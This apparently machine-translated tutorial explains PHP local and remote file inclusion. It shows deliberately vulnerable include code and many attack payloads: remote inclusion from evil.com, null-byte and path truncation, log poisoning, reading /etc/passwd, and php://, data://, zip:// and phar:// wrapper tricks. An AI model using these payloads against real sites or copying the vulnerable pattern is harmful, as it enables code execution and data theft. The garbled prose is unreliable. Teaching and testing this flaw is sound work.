PHP - A File Inclusion Vulnerability

PHP - A File Inclusion Vulnerability

·

10 min read

image.png

Definition A file inclusion vulnerability is attributable to the PHP function in the files since the incoming file name is not properly tested.

This has led to the introduction of developers expect of the file. (Note: The file is recognized as a script file to resolve the) File contains divided into the local and remote file inclusion A remote file inclusion vulnerability: you can directly execute arbitrary code In the warehouse and you need to ensure the php.ini file in allow_url_fopen and allow_url_include are On Correlation Function The PHP function The function explanation If an error of the operation include The statement can obtain in the specified file, all text/code/tags, and to use the included statement of file Introduced the document incorrect builds only warning (E_WARNING), and the script will continue executing the script include_once This behavior and include statements similar to functionality as the only difference is that PHP will check if the file has been included if it is then not again contained. require The statement can obtain in the specified file, all text/code/marking and copyrequireStatement of the file Introduced the document incorrectly, That's going to produce a fatal error (E_COMPILE_ERROR) and stop scripts run require_once With a required statement similar functionality as the only difference is that PHP will check if the file has been included if it is then not again contained.

The PHP function The function explanation highlight_file Function file syntax highlighting show_source Function file syntax highlighting readfile Function to read a file and is written into the output buffer

If successful, the function returns the file read in the number of bytes of the object. If it fails, the function returns FALSE and comes with an error message. You can use the function name added before a '@' to hide the error output file_get_contents Function to read the entire file into a string fopen Function either open the file or URL File Function to read the entire file into an array Vulnerability Hazard Arbitrary code execution Data for the source code of the OSS Java or sensitive information

<?php if( isset($_GET['x'])) { include $_GET['x']; } ?> Remote File Inclusion-Code Execution Remember a remote file inclusion vulnerability that you want to use in the warehouse and you need to ensure the php.ini file in allow_url_fopen and allow_url_include are On

Victims domain: example.com

The attacker domain: evil.com The attacker files: 1.txt

<?php phpinfo(); ?> SQL injection attack against the role: example.com/1.php? x=evil.com/1.txt

LocalFile Contains-Execute Code Picture Horse Write Shell Victim domain name: example.com

Suppose the victim server has an upload function, but only one picture can be uploaded. At this time, we can upload a picture with a Trojan horse on the upload interface of the victim's server

When attacking: example.com/1.php? x=./1.jpg Contains the log GetShell The log records the client request and server response information

For example, when visiting: example.com<? php phpinfo(); ?> <? php phpinfo(); ?> will be recorded in the log

image.png System Server Location of possible error logs Windows Apache ./Apache/logs/error.log Windows nginx ./nginx/logs/error.log Linux Apache /var/log/apache2/error.log Linux Apache /var/log/httpd/error.log Linux Apache /etc/httpd/logs/error.log Linux nginx /var/log/nginx I use phpStudy locally, so the log location is: D:\phpStudy\PHPTutorial\Apache\logs\error.log

When attacking: example.com/1.php x=D:\phpStudy\PHPTutorial\Apache\logs\error.log Local Include Read File Windows Read File When attacking: http :example.com/1.php? x=C:\Windows\win.ini

Linux Read File When attacking: example.com/1.php? x=/etc/passwd Read PHP File Source Code If we say that we include the PHP file directly, it will be parsed, resulting in not being able to see the source code, so the file can be read using the encapsulation protocol

For example, when we attacked: example.com/1.php? x=php://filter/read=convert.base64-encode/res..

Indicates that the source code of the file 1.php is read Truncation Bypass <?php if(isset($_GET['x'])) { include $_GET['x'] . '.html'; } ?> Required environment

PHP version is less than 5.3.4 magic_quotes_gpc is off If the above conditions are met, you can use this method to bypass Truncated Victim domain name: example.com Local File Inclusion Attack <?php phpinfo(); ?> Local file contains attack: example.com/2.php?x=./1.jpg%00

Remote File Inclusion Attack Remember that the remote file contains to use make sure that allow_url_fopen and allow_url_include in php.ini are both On Attacker domain name: evil.com Attacker file: 1.txt <?php phpinfo(); ?> Remote file contains attack: example.com/2.php?x=http://evil.com/1.jpg%00

Path Length Truncation Required environment PHP version is less than 5.3.10 Workaround: Use characters . /. ./ (Note the order) to truncate, because the file path has a length limit

System file path length limitation: Windows 259 bytes Linux 4096 bytes <?php phpinfo(); ?> Local file contains attack: example.com/2.php?x=1.jpg.................................................... Local file contains the attack: example.com/2.php?x=1.jpg./././././././././.. ././././././././././././ Local file contains the attack: example.com/2.php?x=1.jpg/././././././././.... /./././././././././././././././././ PHP Bypass Restrictions Protocol Features file :// Access local file system http :// Visit HTTP(S) URL ftp :// Access FTP(S) URL php :// Access to various input/output streams (I /O streams) zlib :// Compressed stream data :// Data (RFC 2397) globe :// Find matching file path patterns phar: // PHP archive ssh2:// Secure Shell 2 rar :// RAR ogg :// Audio stream expect :// Handling interactive streams

<?php if(isset($_GET['x'])) { include $_GET['x']; } ?> file://protocol PHP.ini: The file:// protocol can also be used normally in the case of double off; allow_url_fopen: off/on allow_url_include: off/on file:// is used to access local files file:// [absolute path and file name of the file] Open: example.com/1.php?x=file://E:/WWW/1.jpg php://protocol php://filter can also be used normally in the case of double off; condition: No need to enable allow_url_fopen Only php://input, php://stdin, php://memory and php://temp need to enable allow_url_include. php:// access to various input/output streams (I/O streams)

Frequently used in CTF are php://filter and php://input php://filter is used to read the source code php://input is used to execute PHP code php://filter php://filter is a meta-wrapper designed for filtering applications when the data stream is opened. This is very useful for all-in-one file functions, like readfile(), file(), and file_get_contents(), where there is no chance to apply other filters before the data stream content is read.

resource= #This parameter is required. It specifies the data stream you want to filter. read= #This parameter is optional. One or more filter names can be set, separated by a pipe character (|). write= #This parameter is optional. One or more filter names can be set, separated by a pipe character (|). <; Filter list of two chains> #Any filter list that is not prefixed with read= or write= will be applied to the read or write chain as appropriate.

example.com/1.php?x=php://filter/read=conve.. The filter read here is convert.base64-encode, which is the same as the literal meaning, base64-encode the input stream. resource=upload.php, which means to read the content of upload.php So you can to base64 encoding of the read document source code

Filter The filter has a lot of kinds, have string filter, filter, compressed filters, encryption filter String Filter

string.rot13 Perform rot13 conversion string.toupper Capitalize all characters string.tolower All lowercase characters string.strip_tags The result after removing empty characters, HTML and PHP tags. The function is similar to the strip_tags() function. If you don't want some characters to be eliminated, you can use a string or an array in two ways. Example

<?php $fp = fopen('php://output','w'); stream_filter_append($fp,'string.rot13'); echo "rot13:"; fwrite($fp, "This is a test.\n"); fclose($fp); echo "
";

$fp = fopen('php://output','w');
stream_filter_append($fp,'string.toupper');
echo "Upper:";
fwrite($fp, "This is a test.\n");
fclose($fp);
echo "<br>";

$fp = fopen('php://output','w');
stream_filter_append($fp,'string.tolower');
echo "Lower:";
fwrite($fp, "This is a test.\n");
fclose($fp);
echo "<br>";

$fp = fopen('php://output','w');
echo "Del1:";
stream_filter_append($fp,'string.strip_tags', STREAM_FILTER_WRITE);
fwrite($fp, "<b>This is a test.</b>!!!!<h1>~~~~</h1>\n");
fclose($fp);
echo "<br>";

$fp = fopen('php://output','w');
echo "Del2:";
stream_filter_append($fp,'string.strip_tags', STREAM_FILTER_WRITE, "<b>");
fwrite($fp, "<b>This is a test.</b>!!!!<h1>~~~~</h1>\n");
fclose($fp);
echo "<br>";

$fp = fopen('php://output','w');
stream_filter_append($fp,'string.strip_tags', STREAM_FILTER_WRITE, array('b','h1'));
echo "Del3:";
fwrite($fp, "<b>This is a test.</b>!!!!<h1>~~~~</h1>\n");
fclose($fp);

?>

Conversion Filter Base64 Encoding & Decoding

Base64 encoding converts the binary data into text format, which is passed through a communication channel where a user can handle text safely. Base64 is also called Privacy enhanced Electronic mail (PEM) and is primarily used in the email encryption process.

Python includes a module called BASE64 which includes two primary functions as given below − Base64.decode(input, output) − It decodes the input value parameter specified and stores the decoded output as an object. Base64.encode(input, output) − It encodes the input value parameter specified and stores the decoded output as an object. Quoted-Printable Encoding & Decoding

For example:

<?php $fp = fopen('php://output','w'); stream_filter_append($fp,'convert.base64-encode'); echo "base64-encode:"; fwrite($fp, "This is a test.\n"); fclose($fp); echo "
";

$param = array('line-length' => 8,'line-break-chars' => "\n");
$fp = fopen('php://output','w');
stream_filter_append($fp,'convert.base64-encode', STREAM_FILTER_WRITE, $param);
echo "\nbase64-encode-split:\n";
fwrite($fp, "This is a test.\n");
fclose($fp);
echo "<br>";

$fp = fopen('php://output','w');
stream_filter_append($fp,'convert.base64-decode');
echo "\nbase64-decode:";
fwrite($fp, "VGhpcyBpcyBhIHRlc3QuCg==\n");
fclose($fp);
echo "<br>";

$fp = fopen('php://output','w');
stream_filter_append($fp,'convert.quoted-printable-encode');
echo "quoted-printable-encode:";
fwrite($fp, "This is a test.\n");
fclose($fp);
echo "<br>";

$fp = fopen('php://output','w');
stream_filter_append($fp,'convert.quoted-printable-decode');
echo "\nquoted-printable-decode:";
fwrite($fp, "This is a test.=0A");
fclose($fp);
echo "<br>";

?>

Compression Filter zlib.* The compression filter is available since PHP version 5.1.0, provided that zlib is activated. It can also be used in version 5.0.x as a backdoor by installing the zlib_filter package from »PECL.

This filter is not available in PHP 4.

<?php $params = array('level' => 6,'window' => 15,'memory' => 9); $original_text = "This is a test.\nThis is only a test.\nThis is not an important string.\n"; echo "The original text is ". strlen($original_text)." characters long.\n"; $fp = fopen('test.deflated','w'); stream_filter_append($fp,'zlib.deflate', STREAM_FILTER_WRITE, $params); fwrite($fp, $original_text); fclose($fp); echo "The compressed file is ". filesize('test.deflated')." bytes long.\n"; echo "The original text was:\n"; / Use readfile and zlib.inflate to decompress on the fly / readfile('php://filter/zlib.inflate/resource=test.def..);

/ Generates output: The original text is 70 characters long. The compressed file is 56 bytes long. The original text was: This is a test. This is only a test. This is not an important string. / ?>

Encryption Filter

image.png

php://filter Read the Source Code of PHP files If we say that we include the php file directly, it will be parsed, resulting in not being able to see the source code, so the file can be read using the encapsulation protocol

For example, when we attacked: example.com/1.php?x=php://filter/read=conve.. php://input Execute Code php://input is a read-only stream that can access the original data of the request. You can read the original data that is not parsed by the post, and execute the data in the post request as PHP code. Because it does not depend on specific php.ini directives. Note: php://input is invalid when enctype="multipart/form-data".

allow_url_fopen :off/on # can be opened or closed allow_url_include: on # must be turned on

php://output

<?php
$code=$_GET["a"];
file_put_contents($code,"test");
?>

data:// data: resource type; coding, content Datastream wrapper When allow_url_include is turned on, any file inclusion will become any command execution

PHP.ini: The data:// protocol must be on in order to be used normally;

allow_url_fopen: on allow_url_include: on

php version is greater than or equal to php5.2

Test code

File name: xxx.php

<?php $filename=$_GET["a"]; include("$filename"); ?> How to use

127.0.0.1/xxx.php?a=data://text/plain,<?php phpinfo()?> or 127.0.0.1/xxx.php?a=data://text/plain;base6..

or 127.0.0.1/xxx.php?a=data:text/plain,<?php phpinfo()?> or 127.0.0.1/xxx.php?a=data:text/plain;base64,..

zip://, bzip2://, zlib:// protocol

PHP.ini: The zip://, bzip2://, zlib:// protocols can also be used normally in the case of double off;

allow_url_fopen: off/on allow_url_include: off/on

The three encapsulation protocols all open compressed files directly. compress.zlib://file.gz-handles compressed packages with the suffix'.gz' compress.bzip2://file.bz2-the compressed package with the suffix of'.bz2' is processed

zip://archive.zip#dir/file.txt-Process files in the compressed package with the suffix of'.zip'

zip://, bzip2://, zlib:// are all compressed streams, you can access the sub-files in the compressed file, and more importantly, there is no need to specify the suffix name

zip://protocol php version is greater than or equal to php5.3.0

Instructions:

zip://archive.zip#dir/file.txt zip:// [absolute path of compressed file]#[sub-file name in compressed file]** Use absolute path + URL encoding# test:

Create a new file named zip.txt with the content <?php phpinfo();?>, and then compress it into a zip file named test.zip.

Renamed to jpg

payload: 127.0.0.1/xxx.php?a=zip://C:\Users\cyberdevil\Desktop\test.jpg%23zip.txt

bzip2://protocol Instructions:

compress.bzip2://file.bz2 A relative path is also ok test

Use 7-zip to generate a bz2 compressed file. payload: 127.0.0.1/xxx.php?a=compress.bzip2://C:/Use.. Or change the file to jpg suffix 127.0.0.1/xxx.php?a=compress.bzip2://C:/Use.. zlib://protocol Instructions: compress.zlib://file.gz A relative path is also ok 127.0.0.1/xxx.php?a=compress.zlib://file.gz

1.jpg code

<?php phpinfo(); ?> PHP Pseudo-Protocol Knot

Small Example

For example, this limits us to only .html files

File name: 2.php

<?php if(isset($_GET['x'])) { include $_GET['x'].'.html'; } ?> Limits the bypass methods that can only include .xxx files

Bypass Method one-zip protocol Create a new file named 1.html with the content <?php phpinfo();?>, and then compress it into a zip file named 111.zip.

Attack Payload: example.com/2.php?x=zip://111.zip%231

Bypass Method two-zip protocol

Some upload points may be restricted, you can only upload jpg

Create a new file named 1.html with the content <?php phpinfo();?>, and then compress it into a zip file named 111.zip.

Attack Payload: example.com/2.php?x=zip://111.jpg%231 Bypass Method three-phar protocol

Create a new file named 1.html with the content <?php phpinfo();?>, and then compress it into a zip file named 111.zip.

If you can upload a zip file, upload the zip file, if not, rename it to 111.jpg and upload it.

Attack payload-1: example.com/2.php?x=phar://111.jpg%2F1 Attack payload-2: example.com/2.php?x=phar://111.zip%2F1